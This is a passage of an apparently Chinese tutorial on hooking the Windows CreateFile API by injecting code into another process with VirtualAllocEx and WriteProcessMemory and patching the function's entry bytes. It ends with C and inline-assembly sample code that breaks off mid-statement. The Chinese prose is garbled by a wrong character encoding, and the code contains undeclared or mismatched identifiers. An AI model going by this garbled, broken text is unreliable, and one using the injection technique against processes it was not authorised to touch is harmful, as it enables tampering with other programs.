聽 鍛靛懙錛屼笉鐭ラ亾浣犵幇鍦ㄨ剳嫻鋒槸涓嶆槸鏈変粈涔堟兂娉曘傛庝箞鍘誨疄鐜版嫤鎴竴涓猘pi錛?br />聽 榪欓噷緇欏嚭涓涓濊礬錛屼簨瀹炰笂鎷︽埅鐨勬柟娉曠湡鐨勫緢澶氾紝鐞嗘竻浜嗕竴涓紝鍏朵粬鐨勪篃灝卞鏄撲簡銆傝屼笖涓婇潰鎵璇寸殑2涓叧閿煡璇嗭紝涔熷彲浠ヤ互鍙﹀鐨勫艦寮忔潵鍒╃敤銆?br />聽 鎴戜互鎷︽埅CreateFile榪欎釜api涓轟緥瀛愭潵綆鍗曡涓嬭繖涓濊礬鍚э細

聽 棣栧厛錛屾棦鐒舵垜浠鎷︽埅榪欎釜api灝卞簲璇ョ煡閬撹繖涓嚱鏁板湪鍐呭瓨涓殑浣嶇疆鍚э紝鑷沖皯闇瑕佺煡閬撲粠鍝効鍏ュ彛銆侰reateFile榪欎釜鍑芥暟鏄敱kernel32.dll榪欎釜鍔ㄦ佸簱瀵煎嚭鐨勩傛垜浠彲浠ヤ嬌鐢ㄤ笅闈㈢殑鏂規硶鏉ヨ幏鍙栦粬鏄犲皠鍒板唴瀛樹腑鐨勫湴鍧錛?br />聽 HMODULE hkernel32 = LoadLibrary("Kernel32.dll");
聽 PVOID dwCreateFile = GetProcAddress(hkernei32, "CreateFileA");
榪欏氨鍙互寰楀埌createfile鐨勫湴鍧浜嗭紝娉ㄦ剰榪欓噷鏄幏鍙栫殑createfile鐨刟nsic鐗堟湰銆傚浜嶶NICODE鐗堟湰鐨勫垯鑾峰彇CreateFileW銆傝繖鏃禿wCreateFile鐨勫煎氨鏄粬鐨勫湴鍧浜嗐傚浜庡叾浠栬繘紼嬩腑鐨刢reatefile鍑芥暟涔熸槸榪欎釜鍦板潃錛屽墠闈㈣榪噖indows鎸囧畾浜嗕粬鎻愪緵鐨勬墍鏈夌殑dll鏂囦歡鐨勫姞杞藉湴鍧銆?br />聽
聽 鎺ヤ笅鏉ワ紝鎴戜滑璇ユ兂鍔炴硶瀹炵幇璺寵漿浜嗐傛渶綆鍗曠殑鏂規硶灝辨槸淇敼榪欎釜api鍏ュ彛澶勭殑浠g爜浜嗐備絾鏄垜浠淇敼澶氬皯鍛紵淇敼鐨勫唴瀹逛負浠涔堝憿錛熷墠闈㈣榪囨垜浠彲浠ヤ嬌鐢–ALL鐨勬柟寮忔潵瀹炵幇璺寵漿錛岃繖縐嶆柟娉曠殑濂藉鏄彲浠ヤ負浣犵殑鎷︽埅鍑芥暟鎻愪緵涓涓垨鑰呭涓弬鏁般傝繖閲屽彧瑕佷竴涓弬鏁板氨瓚沖浜嗐傚甫鍙傛暟鐨勫嚱鏁拌皟鐢ㄧ殑姹囩紪浠g爜鏄粈涔堟牱瀛愬憿錛屽墠闈篃宸茬粡璇翠簡錛岀被浼間笌璋冪敤MessageBoxA鏃剁殑浠g爜錛?br />
PUSH 鍙傛暟鍦板潃
CALL 鍑芥暟鍏ュ彛鍦板潃(榪欓噷涓轟竴涓亸縐誨湴鍧)

鎵ц榪?鏉℃寚浠ゅ氨鑳借煩杞埌浣犺鎷︽埅鐨勫嚱鏁頒簡錛屼絾鏄垜浠淇敼鎴愪粈涔堝憿銆傞鍏堬紝鎴戜滑闇瑕佺煡閬撹繖2鏉℃寚浠ょ殑闀垮害鍜屽叿浣撶殑鏈哄櫒浠g爜鐨勫箋傚叾涓璓USH瀵瑰簲0x68錛岃孋ALL鎸囦護瀵瑰簲鐨勬満鍣ㄧ爜涓?xE8,鑰屽悗闈㈢殑鍒欏垎鍒搴旀嫤鎴嚱鏁扮殑鍙傛暟鍦板潃鍜屽嚱鏁扮殑鍦板潃銆傛敞鎰忕涓涓槸涓涓洿鎺ョ殑鍦板潃錛岃岀浜屼釜鍒欐槸涓涓浉瀵瑰湴鍧銆傚綋鐒朵綘涔熷彲浠ヤ嬌鐢?xFF0x15榪欎釜CALL鎸囦護鏉ヨ繘琛岀洿鎺ュ湴鍧鐨勮煩杞?br />涓嬮潰灝辨槸璁$畻榪?涓湴鍧鐨勫間簡錛?br />瀵逛簬鍙傛暟鍜屽嚱鏁頒綋鐨勫湴鍧錛岃鍒嗘儏鍐佃屽畾錛屽浜庡鏈繘紼嬩腑api鐨勬嫤鎴紝鍒欑洿鎺ュ彇鍦板潃灝卞彲浠ヤ簡銆傚浜庡弬鏁幫紝鍙互鍏堝畾涔変竴涓弬鏁板彉閲忥紝鐒跺悗鍙栧彉閲忓湴鍧灝眔k浜嗐?br />濡傛灉鏄兂鎷︽埅鍏朵粬榪涚▼涓殑api錛屽垯蹇呴』浣跨敤鍏朵粬涓浜涙柟娉曪紝鏈鍏稿瀷鐨勬柟娉曟槸鍒╃敤VirtualAllocEx鍑芥暟鏉ュ湪鍏朵粬榪涚▼涓敵璇峰拰鎻愪氦鍐呭瓨絀洪棿銆傜劧鍚庣敤WriteProcessMemory鏉ュ垎鍒妸鍑芥暟浣撳拰鍙傛暟鍒嗗埆鍐欏叆鐢寵鍜屽垎閰嶇殑鍐呭瓨絀洪棿涓幓銆傜劧鍚庡啀鐢熸垚瑕佷慨鏀圭殑鏁版嵁錛屾渶鍚庣敤WriteProcessMemory鏉ヤ慨鏀筧pi鍏ュ彛錛屾妸鍏ュ彛鐨勫墠10瀛楄妭淇敼涓哄垰鍒氱敓鎴愮殑璺寵漿鏁版嵁銆傛瘮濡傚湪榪滅▼榪涚▼涓綘鍐欏叆鐨勫弬鏁板拰鍑芥暟浣撶殑鍐呭瓨鍦板潃鍒嗗埆涓?x00010000鍜?x00011000,鍒欑敓鎴愮殑璺寵漿鏁版嵁涓?68 00 00 01 00 E8 00 10 01 00(PUSH 00010000 CALL 00011000),榪欐牱紼嬪簭榪愯createfile鍑芥暟鐨勬椂鍊欏皢浼氬厛榪愯PUSH 00010000 CALL 00011000錛岃繖鏍峰氨杈懼埌浜嗚煩杞殑鐩殑銆傛鍒繪垜浠簲璇ユ椂鍒繪敞鎰忓爢鏍堢殑鐘舵侊紝瀵逛簬CreateFile鏈?br />HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
鍙互鐪嬪埌鍏舵湁7涓弬鏁幫紝浜庢槸鍦ㄨ皟鐢ㄤ箣鍓嶏紝鍫嗘爤搴旇宸茬粡琚帇鍏ヤ簡榪?涓弬鏁幫紝鍫嗘爤鐨勬牱瀛愶細
|....| 聽 <---ESP
|createfile鎵ц鍚庣殑涓嬩竴鏉℃寚浠ゅ湴鍧|
|鍙傛暟1|
|鍙傛暟2|
|鍙傛暟3|
|鍙傛暟4|
|鍙傛暟5|
|鍙傛暟6|
|鍙傛暟7|
|..|

榪欐槸鎵ц鍒版垜浠殑璺寵漿璇彞錛歅USH 00010000,浜庢槸鍫嗘爤鍙堝彉浜嗭細

|....| 聽 <---ESP
|00010000|
|createfile鎵ц鍚庣殑涓嬩竴鏉℃寚浠ゅ湴鍧|
|鍙傛暟1|
|鍙傛暟2|
|鍙傛暟3|
|鍙傛暟4|
|鍙傛暟5|
|鍙傛暟6|
|鍙傛暟7|
|..|

鎺ョ潃鎵цCALL 00011000,鍫嗘爤鍙樹負錛?br />|...| <---ESP
|api鍏ュ彛涔嬪悗鐨勭11涓瓧鑺傜殑鎸囦護鐨勫湴鍧| 聽
|00010000|
|createfile鎵ц鍚庣殑涓嬩竴鏉℃寚浠ゅ湴鍧|
|鍙傛暟1|
|鍙傛暟2|
|鍙傛暟3|
|鍙傛暟4|
|鍙傛暟5|
|鍙傛暟6|
|鍙傛暟7|
|..|

鎺ヤ笅鏉ュ氨鍒頒簡鎴戜滑鐨勬嫤鎴嚱鏁頒腑鎷夛紝褰撶劧錛屽嚱鏁拌偗瀹氫篃浼氬仛涓浜涚被浼煎姩浣滐紝鎶奅BP鍘嬫爤錛屼負灞閮ㄥ彉閲忓垎閰嶇┖闂寸瓑銆傝繖鏃跺欏爢鏍堢殑鏍峰瓙鍙堝彉浜嗭細

|EDI| <---ESP
|ESI|
|EBX|
|灞閮ㄥ彉閲弢
|EBP| 聽 <---EBP
|api鍏ュ彛涔嬪悗鐨勭11涓瓧鑺傜殑鎸囦護鐨勫湴鍧| 聽
|00010000|
|createfile鎵ц鍚庣殑涓嬩竴鏉℃寚浠ゅ湴鍧|
|鍙傛暟1|
|鍙傛暟2|
|鍙傛暟3|
|鍙傛暟4|
|鍙傛暟5|
|鍙傛暟6|
|鍙傛暟7|
|..|

榪欐椂鍊欙紝浣犳兂鍋氫粈涔堝氨灝芥儏鍦板仛鍚э紝鑾峰彇鍙傛暟淇℃伅錛屽歡緙撴墽琛孋reateFile鍑芥暟絳夌瓑銆傛嬁鑾峰彇鎵撳紑鏂囦歡鍙ユ焺鐨勫悕瀛楁潵璇村惂錛屾枃浠跺悕鏄涓涓弬鏁幫紝鍓嶉潰璇磋繃鎴戜滑鍙互鐢╗EBP+8]鏉ヨ幏鍙栧弬鏁幫紝浣嗘槸瀵圭収涓婇潰鐨勫爢鏍堝艦鐘訛紝涓棿鍙堝姞浜嗗彟澶栦竴浜涙暟鎹紝鎵浠ユ垜浠敤[EBP+16]鏉ヨ幏鍙栫涓涓弬鏁扮殑鍦板潃銆傛瘮濡傦細
char* PFileName = NULL;
__asm{
MOV EAX,[EBP+16]
MOV [szFileName], EAX
}

姣斿鎴戜滑鐢ㄤ竴涓猰essagebox鏉ュ脊鍑轟竴涓俊鎭紝璇存槑璇ョ▼搴忓嵆灝嗘墦寮涓涓煇璋嬭礬寰勭殑鏂囦歡鍙ユ焺銆備絾鏄湁涓涓娉ㄦ剰鐨勬槸錛屽鏋滀綘鎯蟲嫤鎴繙紼嬭繘紼嬬殑璇濓紝瀵逛簬閭d釜鎷︽埅鍑芥暟涓墍浣跨敤鍒扮殑浠諱綍鍑芥暟鎴栬呬互浠諱綍褰㈠紡鐨勭浉瀵瑰湴鍧鐨勮皟鐢ㄩ兘瑕佸仠姝€傚洜涓烘瘡涓繘紼嬩腑鐨勫湴鍧鍒嗛厤閮芥槸鐙珛鐨勶紝姣斿涓婇潰鐨凜ALL MessageBoxA鏀規垚鐩存帴鍦板潃鐨勮皟鐢ㄣ傚浜庝嬌鐢╩essagebox錛屾垜浠簲璇ュ畾涔変竴涓嚱鏁版寚閽堬紝鐒跺悗鎶婅繖涓寚閽堢殑鍊艱祴鍊間負user32.dll涓鍑鴻鍑芥暟鐨勭洿鎺ュ湴鍧銆傜劧鍚庡埄鐢ㄨ繖涓寚閽堟潵榪涜鍑芥暟璋冪敤銆傚浜巑essagebox鍑芥暟鐨勮皟鐢ㄥ彲浠ヨ繖鏍鳳紝鍦ㄦ簮紼嬪簭涓畾涔変竴涓弬鏁扮粨鏋勪綋錛屽弬鏁頒腑鍖呭惈涓涓鍑哄嚱鏁扮殑鍦板潃,鎶婅繖涓湴鍧璁句負MessageBoxA鐨勭洿鎺ュ湴鍧錛岃幏鍙栧湴鍧鐨勬柟娉曞氨涓嶈浜嗐傜劧鍚庢妸榪欎釜鍙傛暟浼犵粰鎷︽埅鍑芥暟錛屽氨鍙互浣跨敤鎷夈傝繖涔熸槸鍒╃敤涓涓弬鏁扮殑鍘熷洜銆傜被浼間唬鐮佸涓嬶細


typedef struct _RemoteParam {
聽 DWORD dwMessageBox;
} RemoteParam, * PRemoteParam;

typedef int (__stdcall * PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);//瀹氫箟涓涓嚱鏁版寚閽?br />
//鎷︽埅鍑芥暟
void HookCreateFile(LPVOID lParam)
{
RemoteParam* pRP = (RemoteParam*)lParam;//鑾峰彇鍙傛暟鍦板潃
char* PFileName = NULL;//瀹氫箟涓涓寚閽?br />__asm{
MOV EAX,[EBP+16]
MOV [szFileName], EAX //鎶奀reateFile絎竴涓弬鏁扮殑鍊鹼紝鏂囦歡鐨勮礬寰勭殑鍦板潃浼?聽 聽 聽 聽 聽 聽 聽 //緇檚zFileName
}

//瀹?涔変竴涓嚱鏁版寚閽?br />PFN_MESSAGEBOX pfnMessageBox = (PFN_MESSAGEBOX)pRP->dwMessageBox;

pfnMessageBox(NULL, PFileName, PFileName, MB_ICONINFORMATION |MB_OK);
//杈撳嚭瑕佹墦寮鐨勬枃浠剁殑璺緞
//.....
}

瀵逛簬浣犺浣跨敤鐨勫叾浠栧嚱鏁幫紝閮芥槸浣跨敤鍚屾牱鐨勬柟寮忥紝鍒╃敤榪欎釜鍙傛暟鏉ヤ紶閫掓垜浠浼犻掔殑鍑芥暟鐨勭粷瀵瑰湴鍧錛岀劧鍚庡畾涔夎繖涓嚱鏁版寚閽堬紝灝卞彲浠ヤ嬌鐢ㄤ簡銆?br />

濂戒簡錛屾帴涓嬫潵鎴戜滑璇ヨ琚嫤鎴殑api姝e父宸ヤ綔浜嗭紝榪欎釜涓嶉毦錛屾妸浠栧師鏉ョ殑鏁版嵁鎭㈠涓涓嬪氨鍙互浜嗐傞偅鍏ュ彛鐨?0涓瓧鑺傘傛垜浠湪鏀瑰啓浠栦滑鐨勬椂鍊欏簲璇ヤ繚瀛樹竴涓嬶紝鐒跺悗涔熸妸浠栨斁鍦ㄥ弬鏁頒腑浼犻掔粰鎷︽埅鍑芥暟錛屽懙鍛碉紝鍙傛暟鐨勪綔鐢ㄥ彲澶氫簡銆傛帴鐫鎴戜滑灝卞彲浠ョ敤WriteProcessMemory鍑芥暟鏉ユ仮澶嶈繖涓猘pi鐨勫叆鍙d簡錛屼唬鐮佸涓嬶細
PFN_GETCURRENTPROCESS pfnGetCurrentProcess = (PFN_GETCURRENTPROCESS)pRP->dwGetCurrentProcess;
PFN_WRITEPROCESSMEMORY pfnWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)pRP->dwWriteProcessMemory;

if(!pfnWriteProcessMemory(pfnGetCurrentProcess(),
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 (LPVOID)pfnConnect,
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 (LPCVOID)pRP->szOldCode,
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 10,
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 NULL))
pfnMessageBox(NULL, pRP->szModuleName1, pRP->szModuleName2, MB_ICONINFORMATION | MB_OK);
鍏朵腑榪欎簺鍑芥暟鎸囬拡鐨勫畾涔夊拰涓婇潰鐨勭被浼箋?br />鑰屽弬鏁頒腑鐨剆zoldcode鍒欐槸鍦ㄦ簮紼嬪簭涓湪淇敼api涔嬪墠淇濆瓨濂斤紝鐒跺悗浼犵粰鎷︽埅鍑芥暟錛屽湪婧愮▼搴忎腑鏄敤ReadProcessMemory鍑芥暟鏉ヨ幏鍙栦粬鐨勫墠10涓瓧鑺傜殑錛?br />ReadProcessMemory(GetCurrentProcess(),
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 (LPCVOID)RParam.dwCreateFile,
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 oldcode,
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 10,
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 &dwPid)
strcat((char*)RParam.szOldCode, (char*)oldcode);


鎺ヤ笅鏉ュ鏋滀綘榪樼戶緇繚鎸佸璇pi鐨勬嫤鎴紝鍒欏張璇ョ敤WriteProcessMemory 鏉ヤ慨鏀瑰叆鍙d簡錛岃窡鍓嶉潰鐨勬仮澶嶅叆鍙f槸涓鏍風殑錛屽彧涓嶈繃鎶妔zOldCode鎹㈡垚浜唖zNewCode浜嗚屽凡銆傝繖鏍蜂綘鍙堣兘瀵笴reateFile緇х畫鎷︽埅浜嗐?br />
濂戒簡錛屾帴涓嬫潵璇ヨ繘琛屽爢鏍堢殑娓呯悊浜嗭紝涔熻浣犺繕瑕佸仛鐐瑰叾浠栦簨鎯咃紝灝界鍋氬幓銆備絾鏄竻鐞嗗爢鏍堟槸蹇呴』瑕佸仛鐨勶紝鍦ㄥ嚱鏁扮粨鏉熺殑鏃跺欙紝鍥犱負鍦ㄦ垜浠斁浠籥pi鎭㈠鎵ц涔嬪悗錛屼粬鍙坮eturn 鍒版垜浠殑鍑芥暟涓潵浜嗭紝榪欎釜鏃跺欑殑鍫嗘爤鏄粈涔堟牱瀛愬憿錛?br />|EDI| <---ESP
|ESI|
|EBX|
|灞閮ㄥ彉閲弢
|EBP| 聽 <---EBP
|api鍏ュ彛涔嬪悗鐨勭11涓瓧鑺傜殑鎸囦護鐨勫湴鍧| 聽
|00010000|
|createfile鎵ц鍚庣殑涓嬩竴鏉℃寚浠ゅ湴鍧|
|鍙傛暟1|
|鍙傛暟2|
|鍙傛暟3|
|鍙傛暟4|
|鍙傛暟5|
|鍙傛暟6|
|鍙傛暟7|
|..|

鎴戜滑鐨勭洰鏍囨槸鎶婅繑鍥炲艱褰曚笅鏉ユ斁鍒癊AX瀵勫瓨鍣ㄤ腑鍘伙紝鎶婅繑鍥炲湴鍧璁板綍涓嬫潵錛屽悓鏃舵妸鍫嗘爤鎭㈠鎴愬師鏉ョ殑鏍峰瓙銆?br />棣栧厛鎴戜滑鎭㈠閭d簺瀵勫瓨鍣ㄧ殑鍊鹼紝鎺ョ潃閲婃斁灞閮ㄥ彉閲忥紝鍙互鐢╩ov esp, ebp.鍥犱負鎴戜滑涓嶆竻妤氬叿浣撶殑灞閮ㄥ彉閲忓垎閰嶄簡澶氬皯絀洪棿銆傛墍浠ヤ嬌鐢ㄨ繖涓柟娉曘?br />

__asm
{POP EDI
POP ESI
POP EBX 聽 //鎭㈠閭d簺瀵勫瓨鍣?br />MOV EDX, [NextIpAddr]//鎶婅繑鍥炲湴鍧鏀懼埌EDX涓紝鍥犱負寰呬細鍎?聽 聽 聽 聽 聽 聽 //EBX琚仮澶嶅悗錛岀嚎紼嬩腑鐨勬墍鏈夊眬閮ㄥ彉閲忓氨涓嶈兘姝e父浣跨敤浜嗐?br />聽 聽 聽
MOV EAX, [RetValue]//榪斿洖鍊兼斁鍒癊AX涓紝褰撶劧涔熷彲浠ヤ慨鏀硅繖涓繑鍥炲?br />MOV ESP, EBP//娓呯悊灞閮ㄥ彉閲?br />POP EBP//鎭㈠EBP鐨勫?br />ADD ESP, 28H //娓呯悊鍙傛暟鍜岃繑鍥炲湴鍧錛屾敞鎰忎竴鍏?7+1+1+1)*4
PUSH EDX //鎶婅繑鍥炲湴鍧鍘嬫爤錛岃繖鏍鋒爤涓氨鍙湁榪欎竴涓繑鍥炲湴鍧浜嗭紝榪斿洖涔嬪悗鏍?聽 聽 聽 //灝辯┖浜?br />RET
}

榪欐牱錛屼竴鍒囧氨瀹屾垚浜嗭紝鍫嗘爤鎭㈠浜嗗簲璇ユ湁鐨勭姸鎬侊紝鑰屼綘鎯蟲嫤鎴殑涔熸嫤鎴埌浜嗐?br />

鍥涳細鍚庤
聽 鎷︽埅鐨勬柟寮忓縐嶅鏍鳳紝涓嶈繃澶т綋鐨勬濊礬鍗撮兘鐩稿悓銆傝鏃跺埢娉ㄦ剰浣犺鎷︽埅鐨勫嚱鏁扮殑鍫嗘爤鐘舵佷互鍙婂湪鎷︽埅鍑芥暟涓殑瀵規暟鎹殑寮曠敤鍜屽嚱鏁扮殑璋冪敤錛堝湴鍧闂錛夈?br />

//////////////////////////////////////////////////////////////////////
闄勫綍錛氫竴涓嫤鎴狢reateFile鍑芥暟鐨勭畝鍗曞疄鐜?br />//////////////////////////////////////////////////////////////////////
CODE:

#include <stdio.h>
#include <windows.h>
#include <Psapi.h>

#pragma comment(lib, "psapi.lib")

typedef struct _RemoteParam {
聽 DWORD dwCreateFile;
聽 DWORD dwMessageBox;
聽 DWORD dwGetCurrentProcess;
聽 DWORD dwWriteProcessMemory;
聽 unsigned char szOldCode[10];
聽 DWORD FunAddr;
} RemoteParam, * PRemoteParam;

typedef HANDLE (__stdcall * PFN_CREATEFILE)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
typedef int (__stdcall * PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);
typedef BOOL (__stdcall * PFN_WRITEPROCESSMEMORY)(HANDLE,LPVOID,LPCVOID,SIZE_T,SIZE_T*);
typedef HANDLE (__stdcall * PFN_GETCURRENTPROCESS)(void);

#define PROCESSNUM 128
#define MYMESSAGEBOX "MessageBoxW"
#define MYCREATEFILE "CreateFileW"

void HookCreateFile(LPVOID lParam)
{

聽 RemoteParam* pRP = (RemoteParam*)lParam;


聽 DWORD NextIpAddr = 0;
聽 DWORD dwParamaAddr = 0;

聽 HANDLE RetFpHdl = INVALID_HANDLE_VALUE;
聽 LPCTSTR lpFileName;
聽 DWORD dwDesiredAccess;
聽 DWORD dwShareMode;
聽 LPSECURITY_ATTRIBUTES lpSecurityAttributes;
聽 DWORD dwCreationDisposition;
聽 DWORD dwFlagsAndAttributes;
聽 HANDLE hTemplateFile;
聽 PFN_CREATEFILE pfnCreatefile = (PFN_CREATEFILE)pRP->dwCreateFile;


聽 __asm
聽 {
聽 MOV EAX,[EBP+8]
聽 MOV [dwParamaAddr], EAX
聽 MOV EAX,[EBP+12] 聽 聽 聽
聽 MOV [NextIpAddr], EAX
聽 MOV EAX,[EBP+16]
聽 MOV [lpFileName], EAX
聽 MOV EAX,[EBP+20]
聽 MOV [dwDesiredAccess],EAX
聽 MOV EAX,[EBP+24]
聽 MOV [dwShareMode],EAX
聽 MOV EAX,[EBP+28]
聽 MOV [lpSecurityAttributes],EAX
聽 MOV EAX,[EBP+32]
聽 MOV [dwCreationDisposition],EAX
聽 MOV EAX,[EBP+36]
聽 MOV [dwFlagsAndAttributes],EAX
聽 MOV EAX,[EBP+40]
聽 MOV [hTemplateFile],EAX 聽
聽 }

聽 PFN_MESSAGEBOX pfnMessageBox = (PFN_MESSAGEBOX)pRP->dwMessageBox;
聽 int allowFlag = pfnMessageBox(NULL, lpFileName, NULL, MB_ICONINFORMATION | MB_YESNO);

聽 if(allowFlag == IDYES)
聽 {
聽 unsigned char szNewCode[10];
聽 int PramaAddr = (int)dwParamaAddr;
聽 szNewCode[4] = PramaAddr>>24;
聽 szNewCode[3] = (PramaAddr<<8)>>24;
聽 szNewCode[2] = (PramaAddr<<16)>>24;
聽 szNewCode[1] = (PramaAddr<<24)>>24;
聽 szNewCode[0] = 0x68;

聽 int funaddr = (int)pRP->FunAddr - (int)pfnCreatefile - 10 ;
聽 szNewCode[9] = funaddr>>24;
聽 szNewCode[8] = (funaddr<<8)>>24;
聽 szNewCode[7] = (funaddr<<16)>>24;
聽 szNewCode[6] = (funaddr<<24)>>24;
聽 szNewCode[5] = 0xE8;


聽 PFN_GETCURRENTPROCESS pfnGetCurrentProcess = (PFN_GETCURRENTPROCESS)pRP->dwGetCurrentProcess;
聽 PFN_WRITEPROCESSMEMORY pfnWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)pRP->dwWriteProcessMemory;
聽 pfnWriteProcessMemory(pfnGetCurrentProcess(),
聽 聽 聽 聽 聽 聽 聽 聽 (LPVOID)pfnCreatefile,
聽 聽 聽 聽 聽 聽 聽 聽 (LPCVOID)pRP->szOldCode,
聽 聽 聽 聽 聽 聽 聽 聽 10,
聽 聽 聽 聽 聽 聽 聽 聽 NULL);

聽 RetFpHdl = pfnCreatefile(lpFileName,
聽 聽 聽 聽 聽 聽 聽 聽 聽 dwDesiredAccess,
聽 聽 聽 聽 聽 聽 聽 聽 聽 dwShareMode,
聽 聽 聽 聽 聽 聽 聽 聽 聽 lpSecurityAttributes,
聽 聽 聽 聽 聽 聽 聽 聽 聽 dwCreationDisposition,
聽 聽 聽 聽 聽 聽 聽 聽 聽 dwFlagsAndAttributes,
聽 聽 聽 聽 聽 聽 聽 聽 聽 hTemplateFile);
聽 pfnWriteProcessMemory(pfnGetCurrentProcess(),
聽 聽 聽 聽 聽 聽 聽 聽 (LPVOID)pfnCreatefile,
聽 聽 聽 聽 聽 聽 聽 聽 (LPCVOID)szNewCode,
聽 聽 聽 聽 聽 聽 聽 聽 10,
聽 聽 聽 聽 聽 聽 聽 聽 NULL);
聽 }


聽 __asm
聽 聽 {POP EDI
聽 聽 聽 POP ESI
聽 聽 聽 POP EBX
聽 聽 聽 MOV EDX, [NextIpAddr]
聽 聽 聽 MOV EAX, [RetFpHdl]
聽 聽 聽 MOV ESP, EBP
聽 聽 聽 POP EBP
聽 聽 聽 ADD ESP, 28H
聽 聽 聽 PUSH EDX
聽 聽 聽 RET
聽 聽 }


}



BOOL AdjustProcessPrivileges(LPCSTR szPrivilegesName)
{
聽 HANDLE hToken;
聽 TOKEN_PRIVILEGES tkp;

聽 if(!OpenProcessToken(GetCurrentProcess(),
聽 聽 TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
聽 {
聽 聽 return FALSE;
聽 }

聽 if(!LookupPrivilegeValue(NULL,szPrivilegesName,
聽 聽 聽 聽 聽 聽 聽 聽 聽 &tkp.Privileges[0].Luid))
聽 {
聽 聽 CloseHandle(hToken);
聽 聽 return FALSE;
聽 }

聽 tkp.PrivilegeCount = 1;
聽 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

聽 if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
聽 {
聽 聽 CloseHandle(hToken);
聽 聽 return FALSE;
聽 }

聽 CloseHandle(hToken);
聽 return TRUE;
}


void printProcessNameByPid( DWORD ProcessId )
{
聽 HANDLE pHd;
聽 HMODULE pHmod;
聽 char ProcessName[MAX_PATH] = "unknown";
聽 DWORD cbNeeded;
聽 pHd = OpenProcess( PROCESS_QUERY_INFORMATION |PROCESS_VM_READ, FALSE, ProcessId );
聽 if(pHd == NULL)
聽 聽 return;

聽 if(!EnumProcessModules( pHd, &pHmod, sizeof(pHmod), &cbNeeded))
聽 聽 return;
聽 if(!GetModuleFileNameEx( pHd, pHmod, ProcessName, MAX_PATH))
聽 聽 return;

聽 printf( "%d\t%s\n", ProcessId, ProcessName);
聽 CloseHandle( pHd );
聽 return;
}


int main(void)
{

聽 if(!AdjustProcessPrivileges(SE_DEBUG_NAME))
聽 {
聽 聽 聽 printf("AdjustProcessPrivileges Error!\n");
聽 聽 聽 return -1;
聽 }

聽 DWORD Pids[PROCESSNUM];
聽 DWORD dwProcessNum = 0;
聽 if(!EnumProcesses(Pids, sizeof(Pids), &dwProcessNum))
聽 {
聽 聽 聽 printf("EnumProcess Error!\n");
聽 聽 聽 return -1;
聽 }

聽 for( DWORD num = 0; num < (dwProcessNum / sizeof(DWORD)); num++)
聽 聽 聽 printProcessNameByPid(Pids[num]);

聽 printf("\nAll %d processes running. \n", dwProcessNum / sizeof(DWORD));

聽 DWORD dwPid = 0;
聽 printf("\n璇瘋緭鍏ヨ鎷︽埅鐨勮繘紼媔d:");
聽 scanf("%d", &dwPid);

聽 HANDLE hTargetProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, dwPid);
聽 if(hTargetProcess == NULL)
聽 {
聽 聽 聽 printf("OpenProcess Error!\n");
聽 聽 聽 return -1;
聽 }

聽 DWORD dwFunAddr = (DWORD)VirtualAllocEx(hTargetProcess, NULL, 8192,
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

聽 if((LPVOID)dwFunAddr == NULL)
聽 {
聽 聽 聽 printf("鐢寵綰跨▼鍐呭瓨澶辮觸!\n");
聽 聽 聽 CloseHandle(hTargetProcess);
聽 聽 聽 return -1;
聽 }

聽 DWORD dwPramaAddr = (DWORD)VirtualAllocEx(hTargetProcess, NULL, sizeof(RemoteParam),
聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 聽 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

聽 if((LPVOID)dwPramaAddr == NULL)
聽 {
聽 聽 聽 printf("鐢寵鍙傛暟鍐呭瓨澶辮觸!\n");
聽 聽 聽 CloseHandle(hTargetProcess);
聽 聽 聽 return -1;
聽 }

聽 printf("\n綰跨▼鍐呭瓨鍦板潃:%.8x\n"
聽 聽 聽 聽 "鍙傛暟鍐呭瓨鍦板潃:%.8x\n",
聽 聽 聽 聽 dwFunAddr, dwPramaAddr);
聽 聽 RemoteParam RParam;
聽 ZeroMemory(&RParam, sizeof(RParam));
聽 HMODULE hKernel32 = LoadLibrary("kernel32.dll");
聽 HMODULE hUser32 = LoadLibrary("user32.dll");

聽 RParam.dwCreateFile = (DWORD)GetProcAddress(hKernel32, MYCREATEFILE);
聽 RParam.dwGetCurrentProcess = (DWORD)GetProcAddress(hKernel32, "GetCurrentProcess");
聽 RParam.dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
聽 RParam.dwMessageBox = (DWORD)GetProcAddress(hUser32, MYMESSAGEBOX);

聽 unsigned char oldcode[10];
聽 unsigned char newcode[10];
聽 int praadd = (int)dwPramaAddr;
聽 int threadadd = (int)dwFunAddr;
聽 newcode[4] = praadd>>24;
聽 newcode[3] = (praadd<<8)>>24;
聽 newcode[2] = (praadd<<16)>>24;
聽 newcode[1] = (praadd<<24)>>24;
聽 newcode[0] = 0x68;

聽 int offsetaddr = threadadd - (int)RParam.dwCreateFile - 10 ;
聽 newcode[9] = offsetaddr>>24;
